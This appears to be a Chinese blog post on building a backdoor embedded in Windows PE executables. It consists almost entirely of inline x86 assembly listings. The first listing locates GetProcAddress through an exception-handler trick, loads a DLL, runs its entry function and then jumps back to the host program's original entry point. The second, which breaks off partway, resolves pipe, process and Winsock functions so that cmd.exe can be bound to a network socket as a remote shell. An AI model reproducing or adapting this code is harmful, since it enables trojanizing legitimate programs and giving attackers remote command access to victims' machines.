junwong
junwong

PE可执行文件的镶入式程序后门开发

 

  1. /*  
  2.     利用异常结构处理搜索GetProcAddress入口地址  
  3. */   
  4. #include <STDIO.H>    
  5. #include <WINDOWS.H>    
  6. main()   
  7. {   
  8.    
  9.     _asm   
  10.     {   
  11.         call ex//取得当前地址以计算异常结构开始的地址    
  12.         mov     eax,0x77000000   
  13.         mov     [ebp-0ch],eax   
  14.         mov     eax,esp   
  15.         sub     eax,8   
  16.         xchg    fs:[0],eax   
  17.         mov DWORD ptr[ebp-00h],eax   
  18.         mov eax,fs:[4]   
  19.         mov DWORD ptr[ebp-04h],eax   
  20.         mov     fs:[4h],ebp//保存ebp到fs:[4h]中    
  21.         add     ecx,34h   
  22.         push    ecx   
  23.         push    eax   
  24.         mov     edx,0   
  25.         mov     byte ptr [edx],0//产生错误    
  26.     }   
  27.    
  28.    
  29. //异常结构开始    
  30.         _asm   
  31.         {   
  32.             mov ebp,fs:[4]   
  33.             mov         dword ptr [ebp-8h],0   
  34. //for(;imgbase<0xff000000,procgetadd==0;){    
  35. e104f:   
  36.            cmp         dword ptr [ebp-8h],0   
  37.            jne         exi   
  38. //imgbase+=0x10000;    
  39.    mov         eax,[ebp-0ch]   
  40.    add         eax,10000h   
  41.    mov         [ebp-0ch],eax   
  42. //if(imgbase==0x78000000) imgbase=0xbff00000;    
  43.    cmp         dword ptr [ebp-0ch],78000000h   
  44.    jne         is44   
  45.    mov         dword ptr [ebp-0ch],0BFF00000h   
  46.    
  47. /*if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int  
  48. *)(imgbase+0x3c))=='EP'){*/   
  49.    
  50. is44:   
  51.    
  52.    mov         ecx,dword ptr [ebp-0ch]   
  53.    xor         edx,edx   
  54.    mov         dx,word ptr [ecx]   
  55.    mov         dword ptr [ebp-24h],ecx   
  56.    cmp         edx,5A4Dh//ZM    
  57.    jne         e11db   
  58.    mov         eax,[ebp-0ch]   
  59.    mov         ecx,dword ptr [eax+3Ch]   
  60.    mov         edx,dword ptr [ebp-0ch]   
  61.    xor         eax,eax   
  62.    mov         ax,word ptr [edx+ecx]   
  63.    cmp         eax,4550h   
  64.    jne         e11db   
  65.        
  66. //fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;    
  67.    mov         ecx,dword ptr [ebp-0ch]   
  68.    mov         edx,dword ptr [ecx+3Ch]   
  69.    mov         eax,[ebp-0ch]   
  70.    mov         ecx,dword ptr [eax+edx+78h]   
  71.    add         ecx,dword ptr [ebp-0ch]   
  72.    mov         dword ptr [ebp-10h],ecx   
  73. // k=*(int *)(fnbase+0xc)+imgbase;    
  74.    mov         edx,dword ptr [ebp-10h]   
  75.    mov         eax,dword ptr [edx+0Ch]   
  76.    add         eax,dword ptr [ebp-0ch]   
  77.    mov         dword ptr [ebp-14h],eax   
  78.    
  79. //if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){    
  80.    mov         ecx,dword ptr [ebp-14h]   
  81.    cmp         dword ptr [ecx],4E52454Bh   
  82.    jne         e11db   
  83.    mov         edx,dword ptr [ebp-14h]   
  84.    cmp         dword ptr [edx+4],32334C45h   
  85.    jne         e11db   
  86. //k=imgbase+*(int *)(fnbase+0x20);    
  87.    mov         eax,dword ptr [ebp-10h]   
  88.    mov         ecx,dword ptr [ebp-0ch]   
  89.    add         ecx,dword ptr [eax+20h]   
  90.    mov         dword ptr [ebp-14h],ecx   
  91. //for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){    
  92.    mov         dword ptr [ebp-18h],0   
  93.    jmp         e1127   
  94. e1115:   
  95.    mov         edx,dword ptr [ebp-18h]   
  96.    add         edx,1   
  97.    mov         dword ptr [ebp-18h],edx   
  98.    mov         eax,dword ptr [ebp-14h]   
  99.    add         eax,4   
  100.    mov         dword ptr [ebp-14h],eax   
  101. e1127:   
  102.    mov         ecx,dword ptr [ebp-10h]   
  103.    mov         edx,dword ptr [ebp-18h]   
  104.    cmp         edx,dword ptr [ecx+18h]   
  105.    jge         e11db   
  106. /*if(*(int *)(imgbase+*(int *)k)=='tixE'&&*(int *)(4+imgbase+*(int  
  107.  *)k)=='corP'){GetProcAddress*/   
  108.    mov         eax,dword ptr [ebp-14h]   
  109.    mov         ecx,dword ptr [eax]   
  110.    mov         edx,dword ptr [ebp-0ch]   
  111.    cmp         dword ptr [edx+ecx],'PteG'   
  112.    jne         e11d6   
  113.    mov         eax,dword ptr [ebp-14h]   
  114.    mov         ecx,dword ptr [eax]   
  115.    mov         edx,dword ptr [ebp-0ch]   
  116.    cmp         dword ptr [edx+ecx+4],'Acor'   
  117.    jne         e11d6   
  118. //k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));    
  119.    mov         eax,dword ptr [ebp-18h]   
  120.   add         eax,dword ptr [ebp-18h]   
  121.   add         eax,dword ptr [ebp-0ch]   
  122.   mov         ecx,dword ptr [ebp-10h]   
  123.    mov         edx,dword ptr [ecx+24h]   
  124.    xor         ecx,ecx   
  125.    mov         cx,word ptr [eax+edx]   
  126.    mov         dword ptr [ebp-14h],ecx   
  127. //k+=*(int *)(fnbase+0x10)-1;    
  128.    mov         edx,dword ptr [ebp-10h]   
  129.    mov         eax,dword ptr [edx+10h]   
  130.    mov         ecx,dword ptr [ebp-14h]   
  131.    lea         edx,dword ptr [ecx+eax-1]   
  132.    mov         dword ptr [ebp-14h],edx   
  133. //k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));    
  134.    mov         eax,dword ptr [ebp-14h]   
  135.    add         eax,dword ptr [ebp-14h]   
  136.    add         eax,dword ptr [ebp-14h]   
  137.    add         eax,dword ptr [ebp-14h]   
  138.    add         eax,dword ptr [ebp-0ch]   
  139.    mov         ecx,dword ptr [ebp-10h]   
  140.    mov         edx,dword ptr [ecx+1Ch]   
  141.    mov         eax,dword ptr [eax+edx]   
  142.    mov         dword ptr [ebp-14h],eax   
  143.    mov         edx,dword ptr [ebp-14h]   
  144. //add edx,imgbase    
  145.    add         edx,dword ptr [ebp-0ch]   
  146. // mov procgetadd,edx    
  147.    mov         dword ptr [ebp-8h],edx   
  148.    
  149. //恢复异常结构    
  150.    
  151.         mov eax,DWORD ptr[ebp-00h]   
  152.         mov fs:[0],eax   
  153.         mov eax,DWORD ptr[ebp-04h]   
  154.         mov fs:[4],eax   
  155.    
  156.    jmp         e11db   
  157. e11d6:   
  158.    jmp         e1115   
  159. e11db:   
  160.    jmp         e104f   
  161.    
  162.    
  163. }   
  164. //////////////////////////////////////////////////////////////    
  165. exi:   
  166. //取得LoadLibraryA入口地址    
  167.    
  168.     _asm   
  169.     {   
  170.     mov         dword ptr [ebp-124h],'daoL'   
  171.     mov         dword ptr [ebp-120h],'rbiL'   
  172.     mov         dword ptr [ebp-11Ch],'Ayra'   
  173.     mov         dword ptr [ebp-118h],0000h   
  174.     lea eax,[ebp-124h]   
  175.     push eax    
  176.     mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址    
  177.     push ebx   
  178.     mov   eax,dword ptr [ebp-8h]   
  179.     mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址    
  180.     call eax   
  181.     mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址    
  182.     }   
  183.    
  184. //加载 mydll.dll    
  185.    
  186.     _asm   
  187.     {   
  188.     mov         dword ptr [ebp-124h],'ldym'   
  189.     mov         dword ptr [ebp-120h],'ld.l'   
  190.     mov         dword ptr [ebp-11Ch],'l'   
  191.     mov         dword ptr [ebp-118h],0000h   
  192.     lea eax,[ebp-124h]   
  193.     push eax    
  194.     call dword ptr [ebp-400ch]   
  195.     cmp         eax,0   
  196.     jz  exit1   
  197.     mov ebx,eax   
  198.    
  199. //取得mybegin入口地址    
  200.    
  201.     mov         dword ptr [ebp-124h],'gebM'   
  202.     mov         dword ptr [ebp-120h],'ni'   
  203.     mov         dword ptr [ebp-11Ch],0000h   
  204.     mov         dword ptr [ebp-118h],0000h   
  205.     lea eax,[ebp-124h]   
  206.     push eax    
  207.     push ebx   
  208.     call dword ptr [ebp-4008h]   
  209.     mov   dword ptr [ebp-4030h],eax//mybegin入口地址    
  210.     cmp         eax,0   
  211.     jz  exit1   
  212.     call eax //执行mybegin    
  213.     jmp exit1   
  214.         }   
  215.    
  216. ex:   
  217.     _asm   
  218.     {   
  219.         pop ecx   
  220.         push ecx   
  221.         ret   
  222.     }   
  223. exit1:   
  224.    
  225.    _asm   
  226.    {   
  227.     mov eax,0x401000 //这个跳转地址在代码中需要更改    
  228.     jmp eax   
  229.    }   
  230. return 0;   
  231. }  
/* 
	利用异常结构处理搜索GetProcAddress入口地址 
*/ 
#include  
#include  
main() 
{ 
 
	_asm 
	{ 
		call ex//取得当前地址以计算异常结构开始的地址 
		mov		eax,0x77000000 
		mov		[ebp-0ch],eax 
		mov     eax,esp 
		sub     eax,8 
		xchg    fs:[0],eax 
		mov DWORD ptr[ebp-00h],eax 
		mov	eax,fs:[4] 
		mov DWORD ptr[ebp-04h],eax 
		mov		fs:[4h],ebp//保存ebp到fs:[4h]中 
		add		ecx,34h 
		push    ecx 
		push    eax 
		mov     edx,0 
		mov     byte ptr [edx],0//产生错误 
	} 
 
 
//异常结构开始 
		_asm 
		{ 
			mov	ebp,fs:[4] 
			mov         dword ptr [ebp-8h],0 
//for(;imgbase<0xff000000,procgetadd==0;){ 
e104f: 
		   cmp         dword ptr [ebp-8h],0 
		   jne         exi 
//imgbase+=0x10000; 
   mov         eax,[ebp-0ch] 
   add         eax,10000h 
   mov         [ebp-0ch],eax 
//if(imgbase==0x78000000) imgbase=0xbff00000; 
   cmp         dword ptr [ebp-0ch],78000000h 
   jne         is44 
   mov         dword ptr [ebp-0ch],0BFF00000h 
 
/*if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int 
*)(imgbase+0x3c))=='EP'){*/ 
 
is44: 
 
   mov         ecx,dword ptr [ebp-0ch] 
   xor         edx,edx 
   mov         dx,word ptr [ecx] 
   mov         dword ptr [ebp-24h],ecx 
   cmp         edx,5A4Dh//ZM 
   jne         e11db 
   mov         eax,[ebp-0ch] 
   mov         ecx,dword ptr [eax+3Ch] 
   mov         edx,dword ptr [ebp-0ch] 
   xor         eax,eax 
   mov         ax,word ptr [edx+ecx] 
   cmp         eax,4550h 
   jne         e11db 
     
//fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase; 
   mov         ecx,dword ptr [ebp-0ch] 
   mov         edx,dword ptr [ecx+3Ch] 
   mov         eax,[ebp-0ch] 
   mov         ecx,dword ptr [eax+edx+78h] 
   add         ecx,dword ptr [ebp-0ch] 
   mov         dword ptr [ebp-10h],ecx 
// k=*(int *)(fnbase+0xc)+imgbase; 
   mov         edx,dword ptr [ebp-10h] 
   mov         eax,dword ptr [edx+0Ch] 
   add         eax,dword ptr [ebp-0ch] 
   mov         dword ptr [ebp-14h],eax 
 
//if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){ 
   mov         ecx,dword ptr [ebp-14h] 
   cmp         dword ptr [ecx],4E52454Bh 
   jne         e11db 
   mov         edx,dword ptr [ebp-14h] 
   cmp         dword ptr [edx+4],32334C45h 
   jne         e11db 
//k=imgbase+*(int *)(fnbase+0x20); 
   mov         eax,dword ptr [ebp-10h] 
   mov         ecx,dword ptr [ebp-0ch] 
   add         ecx,dword ptr [eax+20h] 
   mov         dword ptr [ebp-14h],ecx 
//for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){ 
   mov         dword ptr [ebp-18h],0 
   jmp         e1127 
e1115: 
   mov         edx,dword ptr [ebp-18h] 
   add         edx,1 
   mov         dword ptr [ebp-18h],edx 
   mov         eax,dword ptr [ebp-14h] 
   add         eax,4 
   mov         dword ptr [ebp-14h],eax 
e1127: 
   mov         ecx,dword ptr [ebp-10h] 
   mov         edx,dword ptr [ebp-18h] 
   cmp         edx,dword ptr [ecx+18h] 
   jge         e11db 
/*if(*(int *)(imgbase+*(int *)k)=='tixE'&&*(int *)(4+imgbase+*(int 
 *)k)=='corP'){GetProcAddress*/ 
   mov         eax,dword ptr [ebp-14h] 
   mov         ecx,dword ptr [eax] 
   mov         edx,dword ptr [ebp-0ch] 
   cmp         dword ptr [edx+ecx],'PteG' 
   jne         e11d6 
   mov         eax,dword ptr [ebp-14h] 
   mov         ecx,dword ptr [eax] 
   mov         edx,dword ptr [ebp-0ch] 
   cmp         dword ptr [edx+ecx+4],'Acor' 
   jne         e11d6 
//k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24)); 
   mov         eax,dword ptr [ebp-18h] 
  add         eax,dword ptr [ebp-18h] 
  add         eax,dword ptr [ebp-0ch] 
  mov         ecx,dword ptr [ebp-10h] 
   mov         edx,dword ptr [ecx+24h] 
   xor         ecx,ecx 
   mov         cx,word ptr [eax+edx] 
   mov         dword ptr [ebp-14h],ecx 
//k+=*(int *)(fnbase+0x10)-1; 
   mov         edx,dword ptr [ebp-10h] 
   mov         eax,dword ptr [edx+10h] 
   mov         ecx,dword ptr [ebp-14h] 
   lea         edx,dword ptr [ecx+eax-1] 
   mov         dword ptr [ebp-14h],edx 
//k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c)); 
   mov         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-0ch] 
   mov         ecx,dword ptr [ebp-10h] 
   mov         edx,dword ptr [ecx+1Ch] 
   mov         eax,dword ptr [eax+edx] 
   mov         dword ptr [ebp-14h],eax 
   mov         edx,dword ptr [ebp-14h] 
//add edx,imgbase 
   add         edx,dword ptr [ebp-0ch] 
// mov procgetadd,edx 
   mov         dword ptr [ebp-8h],edx 
 
//恢复异常结构 
 
		mov eax,DWORD ptr[ebp-00h] 
		mov	fs:[0],eax 
		mov eax,DWORD ptr[ebp-04h] 
		mov	fs:[4],eax 
 
   jmp         e11db 
e11d6: 
   jmp         e1115 
e11db: 
   jmp         e104f 
 
 
} 
////////////////////////////////////////////////////////////// 
exi: 
//取得LoadLibraryA入口地址 
 
	_asm 
	{ 
	mov         dword ptr [ebp-124h],'daoL' 
	mov         dword ptr [ebp-120h],'rbiL' 
	mov         dword ptr [ebp-11Ch],'Ayra' 
	mov         dword ptr [ebp-118h],0000h 
	lea eax,[ebp-124h] 
	push eax  
	mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址 
	push ebx 
	mov   eax,dword ptr [ebp-8h] 
	mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址 
	call eax 
	mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址 
	} 
 
//加载 mydll.dll 
 
	_asm 
	{ 
	mov         dword ptr [ebp-124h],'ldym' 
	mov         dword ptr [ebp-120h],'ld.l' 
	mov         dword ptr [ebp-11Ch],'l' 
	mov         dword ptr [ebp-118h],0000h 
	lea eax,[ebp-124h] 
	push eax  
	call dword ptr [ebp-400ch] 
	cmp         eax,0 
	jz	exit1 
	mov ebx,eax 
 
//取得mybegin入口地址 
 
	mov         dword ptr [ebp-124h],'gebM' 
	mov         dword ptr [ebp-120h],'ni' 
	mov         dword ptr [ebp-11Ch],0000h 
	mov         dword ptr [ebp-118h],0000h 
	lea eax,[ebp-124h] 
	push eax  
	push ebx 
	call dword ptr [ebp-4008h] 
	mov   dword ptr [ebp-4030h],eax//mybegin入口地址 
	cmp         eax,0 
	jz	exit1 
	call eax //执行mybegin 
	jmp exit1 
		} 
 
ex: 
	_asm 
	{ 
		pop ecx 
		push ecx 
		ret 
	} 
exit1: 
 
   _asm 
   { 
	mov eax,0x401000 //这个跳转地址在代码中需要更改 
	jmp eax 
   } 
return 0; 
}

  1. /*  
  2.     利用异常结构处理搜索GetProcAddress入口地址  
  3.     然后用这个函数加载其他api函数.实现线程一个返回另一个  
  4.     绑定cmd.exe或command.com功能  
  5. */   
  6. #include <STDIO.H>    
  7. #include <WINDOWS.H>    
  8. main()   
  9. {   
  10.     _asm   
  11.     {   
  12.         call ex   
  13.         mov     eax,0x77000000   
  14.         mov     [ebp-0ch],eax   
  15.         mov     eax,esp   
  16.         sub     eax,8   
  17.         xchg    fs:[0],eax   
  18.         mov DWORD ptr[ebp-00h],eax   
  19.         mov eax,fs:[4]   
  20.         mov DWORD ptr[ebp-04h],eax   
  21.         mov     fs:[4h],ebp   
  22.         add     ecx,34h   
  23.         push    ecx   
  24.         push    eax   
  25.         mov     edx,0   
  26.         mov     byte ptr [edx],0   
  27.         mov ebp,fs:[4]   
  28.         mov         dword ptr [ebp-8h],0   
  29. e104f:   
  30.    cmp         dword ptr [ebp-8h],0   
  31.    jne         exi   
  32.    mov         eax,[ebp-0ch]   
  33.    add         eax,10000h   
  34.    mov         [ebp-0ch],eax   
  35.    cmp         dword ptr [ebp-0ch],78000000h   
  36.    jne         is44   
  37.    mov         dword ptr [ebp-0ch],0BFF00000h   
  38. is44:   
  39.    mov         ecx,dword ptr [ebp-0ch]   
  40.    xor         edx,edx   
  41.    mov         dx,word ptr [ecx]   
  42.    mov         dword ptr [ebp-24h],ecx   
  43.    cmp         edx,5A4Dh//ZM    
  44.    jne         e11db   
  45.    mov         eax,[ebp-0ch]   
  46.    mov         ecx,dword ptr [eax+3Ch]   
  47.    mov         edx,dword ptr [ebp-0ch]   
  48.    xor         eax,eax   
  49.    mov         ax,word ptr [edx+ecx]   
  50.    cmp         eax,4550h   
  51.    jne         e11db   
  52.    mov         ecx,dword ptr [ebp-0ch]   
  53.    mov         edx,dword ptr [ecx+3Ch]   
  54.    mov         eax,[ebp-0ch]   
  55.    mov         ecx,dword ptr [eax+edx+78h]   
  56.    add         ecx,dword ptr [ebp-0ch]   
  57.    mov         dword ptr [ebp-10h],ecx   
  58.    mov         edx,dword ptr [ebp-10h]   
  59.    mov         eax,dword ptr [edx+0Ch]   
  60.    add         eax,dword ptr [ebp-0ch]   
  61.    mov         dword ptr [ebp-14h],eax   
  62.    mov         ecx,dword ptr [ebp-14h]   
  63.    cmp         dword ptr [ecx],4E52454Bh   
  64.    jne         e11db   
  65.    mov         edx,dword ptr [ebp-14h]   
  66.    cmp         dword ptr [edx+4],32334C45h   
  67.    jne         e11db   
  68.    mov         eax,dword ptr [ebp-10h]   
  69.    mov         ecx,dword ptr [ebp-0ch]   
  70.    add         ecx,dword ptr [eax+20h]   
  71.    mov         dword ptr [ebp-14h],ecx   
  72.    mov         dword ptr [ebp-18h],0   
  73.    jmp         e1127   
  74. e1115:   
  75.    mov         edx,dword ptr [ebp-18h]   
  76.    add         edx,1   
  77.    mov         dword ptr [ebp-18h],edx   
  78.    mov         eax,dword ptr [ebp-14h]   
  79.    add         eax,4   
  80.    mov         dword ptr [ebp-14h],eax   
  81. e1127:   
  82.    mov         ecx,dword ptr [ebp-10h]   
  83.    mov         edx,dword ptr [ebp-18h]   
  84.    cmp         edx,dword ptr [ecx+18h]   
  85.    jge         e11db   
  86.    mov         eax,dword ptr [ebp-14h]   
  87.    mov         ecx,dword ptr [eax]   
  88.    mov         edx,dword ptr [ebp-0ch]   
  89.    cmp         dword ptr [edx+ecx],'PteG'   
  90.    jne         e11d6   
  91.    mov         eax,dword ptr [ebp-14h]   
  92.    mov         ecx,dword ptr [eax]   
  93.    mov         edx,dword ptr [ebp-0ch]   
  94.    cmp         dword ptr [edx+ecx+4],'Acor'   
  95.    jne         e11d6   
  96.    mov         eax,dword ptr [ebp-18h]   
  97.   add         eax,dword ptr [ebp-18h]   
  98.   add         eax,dword ptr [ebp-0ch]   
  99.   mov         ecx,dword ptr [ebp-10h]   
  100.    mov         edx,dword ptr [ecx+24h]   
  101.    xor         ecx,ecx   
  102.    mov         cx,word ptr [eax+edx]   
  103.    mov         dword ptr [ebp-14h],ecx   
  104.    mov         edx,dword ptr [ebp-10h]   
  105.    mov         eax,dword ptr [edx+10h]   
  106.    mov         ecx,dword ptr [ebp-14h]   
  107.    lea         edx,dword ptr [ecx+eax-1]   
  108.    mov         dword ptr [ebp-14h],edx   
  109.    mov         eax,dword ptr [ebp-14h]   
  110.    add         eax,dword ptr [ebp-14h]   
  111.    add         eax,dword ptr [ebp-14h]   
  112.    add         eax,dword ptr [ebp-14h]   
  113.    add         eax,dword ptr [ebp-0ch]   
  114.    mov         ecx,dword ptr [ebp-10h]   
  115.    mov         edx,dword ptr [ecx+1Ch]   
  116.    mov         eax,dword ptr [eax+edx]   
  117.    mov         dword ptr [ebp-14h],eax   
  118.    mov         edx,dword ptr [ebp-14h]   
  119.    add         edx,dword ptr [ebp-0ch]   
  120.    mov         dword ptr [ebp-8h],edx   
  121. //恢复异常结构    
  122.         mov eax,DWORD ptr[ebp-00h]   
  123.         mov fs:[0],eax   
  124.         mov eax,DWORD ptr[ebp-04h]   
  125.         mov fs:[4],eax   
  126.    jmp         e11db   
  127. e11d6:   
  128.    jmp         e1115   
  129. e11db:   
  130.    jmp         e104f   
  131.    
  132. }   
  133.    
  134. //////////////////////////////////////////////////////////////    
  135.    
  136. exi:   
  137.    
  138. //取得各个需要函数的地址    
  139.    
  140. //取得LoadLibraryA入口地址    
  141.     _asm   
  142.    
  143.     {   
  144.     call ex1   
  145.     mov dword ptr [ecx-0C70h],ebp   
  146.     mov         dword ptr [ebp-124h],'daoL'   
  147.     mov         dword ptr [ebp-120h],'rbiL'   
  148.     mov         dword ptr [ebp-11Ch],'Ayra'   
  149.     mov         dword ptr [ebp-118h],0000h   
  150.     lea eax,[ebp-124h]   
  151.     push eax    
  152.     mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址    
  153.     push ebx   
  154.     mov   eax,dword ptr [ebp-8h]   
  155.     mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址    
  156.     call eax   
  157.     mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址    
  158.    
  159. //CreatePipe入口地址    
  160.     mov         dword ptr [ebp-124h],'aerC'   
  161.     mov         dword ptr [ebp-120h],'iPet'   
  162.     mov         dword ptr [ebp-11Ch],'ep'   
  163.     mov         dword ptr [ebp-118h],0000h   
  164.     lea eax,[ebp-124h]   
  165.     push eax    
  166.     push ebx   
  167.     call dword ptr [ebp-8h]   
  168.     mov   dword ptr [ebp-4000h],eax//CreatePipe入口地址    
  169.     cmp         eax,0   
  170.     jz  exit1   
  171.    
  172. //GetVersion入口地址    
  173.    
  174.     mov         dword ptr [ebp-124h],'VteG'   
  175.     mov         dword ptr [ebp-120h],'isre'   
  176.     mov         dword ptr [ebp-11Ch],'no'   
  177.     mov         dword ptr [ebp-118h],0000h   
  178.     lea eax,[ebp-124h]   
  179.     push eax    
  180.     push ebx   
  181.     call dword ptr [ebp-8h]   
  182.     mov   dword ptr [ebp-4004h],eax//GetVersion 入口地址    
  183.     cmp         eax,0   
  184.     jz  exit1   
  185.    
  186. //CloseHandle入口地址    
  187.    
  188.     mov         dword ptr [ebp-124h],'solC'   
  189.     mov         dword ptr [ebp-120h],'naHe'   
  190.     mov         dword ptr [ebp-11Ch],'eld'   
  191.     mov         dword ptr [ebp-118h],0000h   
  192.     lea eax,[ebp-124h]   
  193.     push eax    
  194.     push ebx   
  195.     call dword ptr [ebp-8h]   
  196.     mov   dword ptr [ebp-4010h],eax//CloseHandle 入口地址    
  197.     cmp         eax,0   
  198.     jz  exit1   
  199.    
  200. //ExitThread入口地址    
  201.    
  202.     mov         dword ptr [ebp-124h],'tixE'   
  203.     mov         dword ptr [ebp-120h],'erhT'   
  204.     mov         dword ptr [ebp-11Ch],'da'   
  205.     mov         dword ptr [ebp-118h],0000h   
  206.     lea eax,[ebp-124h]   
  207.     push eax    
  208.     push ebx   
  209.     call dword ptr [ebp-8h]   
  210.     mov   dword ptr [ebp-4014h],eax//ExitThread入口地址    
  211.     cmp         eax,0   
  212.     jz  exit1   
  213.    
  214. //Sleep入口地址    
  215.    
  216.     mov         dword ptr [ebp-124h],'eelS'   
  217.     mov         dword ptr [ebp-120h],'p'   
  218.     mov         dword ptr [ebp-11Ch],0000h   
  219.     lea eax,[ebp-124h]   
  220.     push eax    
  221.     push ebx   
  222.     call dword ptr [ebp-8h]   
  223.     mov   dword ptr [ebp-4018h],eax//Sleep入口地址    
  224.     cmp         eax,0   
  225.     jz  exit1   
  226.    
  227. //WriteFile入口地址    
  228.    
  229.     mov         dword ptr [ebp-124h],'tirW'   
  230.     mov         dword ptr [ebp-120h],'liFe'   
  231.     mov         dword ptr [ebp-11Ch],'e'   
  232.     mov         dword ptr [ebp-118h],0000h   
  233.     lea eax,[ebp-124h]   
  234.     push eax    
  235.     push ebx   
  236.     call dword ptr [ebp-8h]   
  237.     mov   dword ptr [ebp-401Ch],eax//WriteFile入口地址    
  238.     cmp         eax,0   
  239.     jz  exit1   
  240.    
  241. //PeekNamedPipe入口地址    
  242.    
  243.     mov         dword ptr [ebp-124h],'keeP'   
  244.     mov         dword ptr [ebp-120h],'emaN'   
  245.     mov         dword ptr [ebp-11Ch],'piPd'   
  246.     mov         dword ptr [ebp-118h],'e'   
  247.     lea eax,[ebp-124h]   
  248.     push eax    
  249.     push ebx   
  250.     call dword ptr [ebp-8h]   
  251.     mov   dword ptr [ebp-4020h],eax//PeekNamedPipe入口地址    
  252.     cmp         eax,0   
  253.     jz  exit1   
  254.    
  255. //ReadFile入口地址    
  256.    
  257.     mov         dword ptr [ebp-124h],'daeR'   
  258.     mov         dword ptr [ebp-120h],'eliF'   
  259.     mov         dword ptr [ebp-11Ch],0000h   
  260.     lea eax,[ebp-124h]   
  261.     push eax    
  262.     push ebx   
  263.     call dword ptr [ebp-8h]   
  264.     mov   dword ptr [ebp-4024h],eax//ReadFile入口地址    
  265.     cmp         eax,0   
  266.     jz  exit1   
  267.    
  268. //GetStartupInfoA入口地址    
  269.    
  270.     mov         dword ptr [ebp-124h],'SteG'   
  271.     mov         dword ptr [ebp-120h],'trat'   
  272.     mov         dword ptr [ebp-11Ch],'nIpu'   
  273.     mov         dword ptr [ebp-118h],'Aof'   
  274.     lea eax,[ebp-124h]   
  275.     push eax    
  276.     push ebx   
  277.     call dword ptr [ebp-8h]   
  278.     mov   dword ptr [ebp-4028h],eax//GetStartupInfoA入口地址    
  279.     cmp         eax,0   
  280.     jz  exit1   
  281.    
  282. //CreateProcessA入口地址    
  283.    
  284.     mov         dword ptr [ebp-124h],'aerC'   
  285.     mov         dword ptr [ebp-120h],'rPet'   
  286.     mov         dword ptr [ebp-11Ch],'seco'   
  287.     mov         dword ptr [ebp-118h],'As'   
  288.     lea eax,[ebp-124h]   
  289.     push eax    
  290.     push ebx   
  291.     call dword ptr [ebp-8h]   
  292.     mov   dword ptr [ebp-402Ch],eax//CreateProcessA入口地址    
  293.     cmp         eax,0   
  294.     jz  exit1   
  295.    
  296.     //CreateThread入口地址    
  297.    
  298.     mov         dword ptr [ebp-124h],'aerC'   
  299.     mov         dword ptr [ebp-120h],'hTet'   
  300.     mov         dword ptr [ebp-11Ch],'daer'   
  301.     mov         dword ptr [ebp-118h],0000h   
  302.     lea eax,[ebp-124h]   
  303.     push eax    
  304.     push ebx   
  305.     call dword ptr [ebp-8h]   
  306.     mov   dword ptr [ebp-4008h],eax//CreateThread入口地址    
  307.     cmp         eax,0   
  308.     jz  exit1   
  309.     }   
  310.    
  311. //load wsock32.dll    
  312.     _asm   
  313.     {   
  314.     mov         dword ptr [ebp-124h],'cosw'   
  315.     mov         dword ptr [ebp-120h],'.23k'   
  316.     mov         dword ptr [ebp-11Ch],'lld'   
  317.     mov         dword ptr [ebp-118h],0000h   
  318.     lea eax,[ebp-124h]   
  319.     push eax    
  320.     call dword ptr [ebp-400ch]   
  321.     cmp         eax,0   
  322.     jz  exit1   
  323.     mov ebx,eax   
  324.    
  325. //WSAStartup入口地址    
  326.    
  327.     mov         dword ptr [ebp-124h],'SASW'   
  328.     mov         dword ptr [ebp-120h],'trat'   
  329.     mov         dword ptr [ebp-11Ch],'pu'   
  330.     mov         dword ptr [ebp-118h],0000h   
  331.     lea eax,[ebp-124h]   
  332.     push eax    
  333.     push ebx   
  334.     call dword ptr [ebp-8h]   
  335.     mov   dword ptr [ebp-4030h],eax//WSAStartup入口地址    
  336.     cmp         eax,0   
  337.     jz  exit1   
  338. //__WSAFDIsSet入口地址    
  339.     mov         dword ptr [ebp-124h],'SW__'   
  340.     mov         dword ptr [ebp-120h],'IDFA'   
  341.     mov         dword ptr [ebp-11Ch],'teSs'   
  342.     mov         dword ptr [ebp-118h],0000h   
  343.     lea eax,[ebp-124h]   
  344.     push eax    
  345.     push ebx   
  346.     call dword ptr [ebp-8h]   
  347.     mov   dword ptr [ebp-4034h],eax//__WSAFDIsSet入口地址    
  348.     cmp         eax,0   
  349.     jz  exit1   
  350. //socket入口地址    
  351.     mov         dword ptr [ebp-124h],'kcos'   
  352.     mov         dword ptr [ebp-120h],'te'   
  353.     mov         dword ptr [ebp-11Ch],0000h   
  354.     lea eax,[ebp-124h]   
  355.     push eax    
  356.     push ebx   
  357.     call dword ptr [ebp-8h]   
  358.     mov   dword ptr [ebp-4038h],eax//socket入口地址    
  359.     cmp         eax,0   
  360.     jz  exit1   
  361. //closesocket入口地址    
  362.     mov         dword ptr [ebp-124h],'solc'   
  363.     mov         dword ptr [ebp-120h],'cose'   
  364.     mov         dword ptr [ebp-11Ch],'tek'   
  365.     mov         dword ptr [ebp-118h],0000h   
  366.     lea eax,[ebp-124h]   
  367.     push eax    
  368.     push ebx   
  369.     call dword ptr [ebp-8h]   
  370.     mov   dword ptr [ebp-403Ch],eax//closesocket入口地址    
  371.     cmp         eax,0   
  372.     jz  exit1   
  373. //select入口地址    
  374.     mov         dword ptr [ebp-124h],'eles'   
